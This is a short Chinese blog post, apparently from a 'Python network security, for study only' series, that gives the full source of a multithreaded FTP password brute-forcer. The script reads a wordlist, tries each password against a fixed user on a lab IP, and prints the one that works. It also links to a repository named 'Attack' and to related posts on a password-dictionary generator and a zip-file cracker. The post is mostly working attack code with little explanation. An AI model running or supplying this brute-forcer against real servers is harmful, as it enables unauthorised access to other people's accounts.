目錄
源碼在這里
需要導入的模塊
連接ftp,并設置密碼本和線程
核心代碼
設置線程
源碼在這里
https://github.com/Wist-fully/Attack/tree/cracker
需要導入的模塊
import ftplib
from threading import Thread
import queue
連接ftp,并設置密碼本和線程
host = "192.168.6.6"
user = "student"
port = 21
passwords = []
with open("PasswordFile.txt") as f:passwords = f.read().split('\n')
q = queue.Queue()
n_threads = 10
核心代碼
def connect_ftp():password = q.get()#初始化一個ftp客戶端ftp_client = ftplib.FTP()print(f"[!] trying", password)try:ftp_client.connect(host=host, port=port, timeout=10)ftp_client.login(user=user, passwd=password)except ftplib.error_perm:return Falseelse:print(f"password found :", password)ftp_client.quit()with q.mutex:q.queue.clear()q.all_tasks_done.notify_all()q.unfinished_tasks = 0finally:try:q.task_done()except Exception as e:exit(0)
設置線程
for password in passwords:q.put(password)for t in range(n_threads):thread = Thread(target=connect_ftp)thread.daemon = Truethread.start()q.join()
Python網安篇(僅供學習)
Python網安-隨機密碼生成器-CSDN博客
Python網安-社工密碼字典生成器-CSDN博客
Python網安-zip文件暴力破解-CSDN博客